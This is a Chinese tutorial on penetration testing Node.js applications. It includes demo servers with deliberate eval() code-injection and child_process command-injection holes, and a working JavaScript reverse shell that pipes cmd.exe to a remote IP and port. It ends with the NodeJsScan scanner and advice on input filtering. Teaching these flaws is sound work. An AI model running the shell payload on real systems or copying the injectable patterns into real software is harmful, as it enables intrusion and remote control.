本文来源于i春秋学院,未经允许严禁转载

0x01 介绍

简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。Node.js使用Module模块去划分不同的功能,以简化应用的开发。Modules模块有点像C++语言中的类库。每一个Node.js的类库都包含了十分丰富的各类函数,比如http模块就包含了和http功能相关的很多函数,可以帮助开发者很容易地对比如http,tcp/udp等进行操作,还可以很容易的创建http和tcp/udp的服务器。

0x02 Node.js安装配置

这里我主要给大家演示在Windows Sever 2008 R2 x64系统上安装Node.js的方法。

官网:https://nodejs.org/en/download/ 下载软件。

下载完成后运行,然后一直Next就好了。

<ignore_js_op>

最后点击Finish。

检查环境变量:

<ignore_js_op>

我们可以看到环境变量中已经包含了

C:\Program Files\nodejs\

牛刀小试:创建第一个Node.js应用

我们使用PHP来开发web服务时,需要Apache这样的Web容器。不过对Node.js 来说,概念完全不一样了。使用 Node.js 时,我们不仅仅在实现一个应用,同时还实现了整个 HTTP 服务器。事实上,我们的 Web 应用以及对应的 Web 服务器基本上是一样的。

我们以创建一个输出hello world的Node.js应用为例子。

在Node.js中,我们以require指令来载入模块,既然我们要创建HTTP服务器,所以我们要来载入模块HTTP:

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
var http = require("http");
 
然后我们使用http模块的createServer()方法来创建服务器:
 
var http = require('http');  
http.createServer(function (request, response) {
    // 发送 HTTP 头部
    // HTTP 状态值: 200 : OK
    // 内容类型: text/plain
    response.writeHead(200, {'Content-Type': 'text/plain'});
    // 发送响应数据 "Hello World"
    response.end('Hello World\n');
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

命令运行脚本:

<ignore_js_op>

然后我们在另一台机器上访问看看,注意关闭防火墙:

<ignore_js_op>

0x02 服务端代码注入

Node.js的代码注入与PHP代码注入差不多,同样是围绕着eval函数,所以,如果在你的代码中存在eval函数,而且其中的参数是可控的话,那你就危险了。代码注入漏洞的危害很大,可以直接获得一个Shell。

demo代码:

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
var http = require('http');
var url = require('url');
var util = require('util');
 
http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    var params = url.parse(req.url, true).query;
    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
    var a = params.a;
    var b = params.b;
    var s =a + b;
    res.write("结果:" + a + "+" + b +"=" + s);
    res.write("</body></html>");
    res.end();
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

这个代码就是计算输入的两个数之和,但是两个变量的类型都是字符串,所以相加的结果是字符串连接:

<ignore_js_op>

这里就想着用eval函数转换输入的参数类型。

最终demo代码:

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
var http = require('http');
var url = require('url');
var util = require('util');
 
http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    var params = url.parse(req.url, true).query;
    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
    var a = eval(params.a);
    var b = eval(params.b);
    var s =a + b;
    res.write("结果:" + a + "+" + b +"=" + s);
    res.write("</body></html>");
    res.end();
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

然后得到的结果就是两数之和了:

<ignore_js_op>

但是因为使用了eval函数也就导致了代码注入,我们可以构建一个反弹shell执行。

反弹shell代码:

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
function tan(){
    var net = require("net"),
        cp = require("child_process"),
        cmd = cp.spawn("cmd.exe", []);
    var client = new net.Socket();
    client.connect(3434, "192.168.146.129", function(){
        client.pipe(cmd.stdin);
        cmd.stdout.pipe(client);
        cmd.stderr.pipe(client);
    });
    return 1;
}tan();

我们先使用nc来监听本地端口3434:

<ignore_js_op>

然后在web端利用漏洞进行代码注入:

<ignore_js_op>

然后成功反弹shell:

<ignore_js_op>

0x03 系统命令执行

在Node.js中,系统命令执行漏洞一般由模块 child_process 的函数引起的,child_process即子进程可以创建一个系统子进程并执行shell命令。

demo-创建一个ping工具:

[JavaScript] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
var http = require('http');
var url = require('url');
var util = require('util');
var child_process = require('child_process');
var iconv = require('iconv-lite');
var encoding = 'cp936';
var binaryEncoding = 'binary';
 
http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    var params = url.parse(req.url, true).query;
    res.write("<html><head><meta charset='utf-8' /><title>Test</title></head><body>");
    child_process.exec('ping '+params.ip, { encoding: binaryEncoding }, function(err, stdout, stderr){
    res.write(iconv.decode(new Buffer(stdout, binaryEncoding), encoding), iconv.decode(new Buffer(stderr, binaryEncoding), encoding));
});
    res.write("</body></html>");
}).listen(80);
 
// 终端打印如下信息
console.log('Server running at [url]http://127.0.0.1/'[/url]);

演示:

<ignore_js_op>

命令注入:

<ignore_js_op>

0x04 NodeJsScan

NodeJsScan是 Ajin Abraham 开发的一款静态代码分析工具。它使用了大量的正则表达式规则来扫描可能的漏洞代码和不安全的配置,同时允许用户扩展自己的功能。

项目地址:https://github.com/ajinabraham/NodeJsScan

此工具是基于python开发的,首先我们需要安装一下所需模块

pip install -r requirements.txt
所需模块都在工具主目录下的requirements.txt中:

<ignore_js_op>

注意本工具需要postgresql数据库,所以我们还需要下载安装postgresql数据库。

创建数据库:

python createdb.py

数据库设置在core/settings.py文件中

运行

python app.py

然后在http://0.0.0.0:9090打开,注意要设置DEBUG = True

<ignore_js_op>

0x05 总结

大部分的漏洞都是源于不安全的用户输入。所以,要坚持一切用户输入都是有害的法则,针对用户的一切输入进行过滤。确保使用了合适的中间件来避免不可信的流程。

0x06 参考文章

1、渗透基础一
2、渗透基础二

从零开始学习渗透Node.js应用程序的更多相关文章

  1. 方便大家学习的Node.js教程(一):理解Node.js

    理解Node.js 为了理解Node.js是如何工作的,首先你需要理解一些使得Javascript适用于服务器端开发的关键特性.Javascript是一门简单而又灵活的语言,这种灵活性让它能够经受住时 ...

  2. 在 Web 应用中创建 Node.js 应用程序

    本分步指南将通过 Azure Web 应用帮助您启动并运行示例 Node.JS 应用程序.除 Node.JS 外,Azure Web 应用还支持其他语言,如 PHP..NET.Node.JS.Pyth ...

  3. 用简单的 Node.js 后台程序浅析 HTTP 请求与响应

    用简单的 Node.js 后台程序浅析 HTTP 请求与响应 本文写于 2020 年 1 月 18 日 我们来看两种方式发送 HTTP 请求,一种呢,是命令行的 curl 命令:一种呢是直接在浏览器的 ...

  4. 学习笔记——node.js

    node.js的作用在于,号称可以让服务器支持更多的连接.比如说,php + apche可以让服务器支持4000个并发连接,那么node.js + apche可以让服务器支持并发几万个. 为什么这么牛 ...

  5. Node.js学习(Node.js基础)

    1.开发环境搭建 v8引擎是作为解析JavaScript程序来运行的 nodejs是一个高性能的,第一个体现在他的JavaScript解析速度很快,v8引擎性能很高,第二个事件驱动和非阻塞 2.全局对 ...

  6. Node.js学习笔记——Node.js开发Web后台服务

    一.简介 Node.js 是一个基于Google Chrome V8 引擎的 JavaScript 运行环境.Node.js 使用了一个事件驱动.非阻塞式 I/O 的模型,使其轻量又高效.Node.j ...

  7. Docker学习之——Node.js+MongoDB+Nginx环境搭建(一)

    最近在学习Node.js相关知识,在环境搭建上耗费了不少功夫,故此把这个过程写下来同大家分享一下,今天我先来介绍一下Docker,有很多人都写过相关知识,还有一些教程,在此我只想写一下,我的学习过程中 ...

  8. 高效使用 JavaScript 闭包,避免 Node.js 应用程序中的内存泄漏

    在 Node.js 中,广泛采用不同形式的闭包来支持 Node 的异步和事件驱动编程模型.通过很好地理解闭包,您可以确保所开发应用程序的功能正确性.稳定性和可伸缩性. 闭包是一种将数据与处理数据的代码 ...

  9. 让我们一起学习《Node.js入门》一书吧!

    Node.js入门 读完本书之后,你将完成一个完整的web应用,该应用允许用户浏览页面以及上传文件. 里面对一些知识的讲解,让你略窥Node.js的门径.最好一段代码一段代码的写下来,我的习惯是手里拿 ...

随机推荐

  1. win7获取system32所有权

    (1)cmd ->  takeown /f  C:\Windows\System32* /r (2)右击system32文件夹属性 -> 安全 ->高级 ->所有者 —改为当前 ...

  2. C#对接JAVA系统遇到的AES加密坑

    起因对接合作伙伴的系统,需要对数据进行AES加密 默认的使用了已经写好的帮助类中加密算法,发现结果不对,各种尝试改变加密模式改变向量等等折腾快一下午.最后网上查了下AES在JAVA里面的实现完整代码如 ...

  3. 【FZSZ2017暑假提高组Day1】华容道游戏

    [问题描述] 华容道是一种有趣的滑块游戏,大概是下面这个样子的. 游戏局面由一个2*2的曹操滑块,五个2*1的蜀将滑块(横竖是不定的).四个1*1的小兵滑块以及两个空的位置构成,玩家需要利用空的位子移 ...

  4. mysql简单介绍及安装

    MySQL是一个关系型数据库管理系统关系数据库,将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性,所使用的 SQL 语言是用于访问数据库的最常用标准化语言.My ...

  5. CentOS7下安装Gitlab社区版【安装步骤、IP改域名、修改端口】

    这两天一直在给公司的服务器配置Gitlab(10.5.4).过程很是痛苦,所以把过程记录一下. 1.安装CentOS7 从官网上下载了最新版CentOS-7-x86_64-DVD-1708.iso.用 ...

  6. javaScript+html5实现图片拖拽

    源码: <!DOCTYPE html><html><head> <meta charset="utf-8"/> <title& ...

  7. Django提交文件的方式

    以上传图片为列, 提交图片文件后能在不刷新页面的前提下显示图片 首先写出一个简单的提交文件的页面: <h>文件上传</h> 选择文件<input type="f ...

  8. 了解各种不同意义上的new

    问题1:请说明new operator 和 operator  new的差异? 1.new   operator : 一般我们写代码的时候,例如:String *p = new String(&quo ...

  9. idea导入eclipse项目的配置

    idea导入eclipse项目需要的配置 1.配置jdk,这两处选择一样就可以,也可以根据自己需求选择,上边的比下边的版本高就行 2.这里会默认和配置jdk一样 3.添加lib依赖,选择到项目的lib ...

  10. docker上安装elasticsearch和ik分词器插件和header,实现分词功能

    docker run -di --name=tensquare_es -p 9200: -p 9300:9300 elasticsearch:5.6.8 创建elasticsearch容器(如果版本不 ...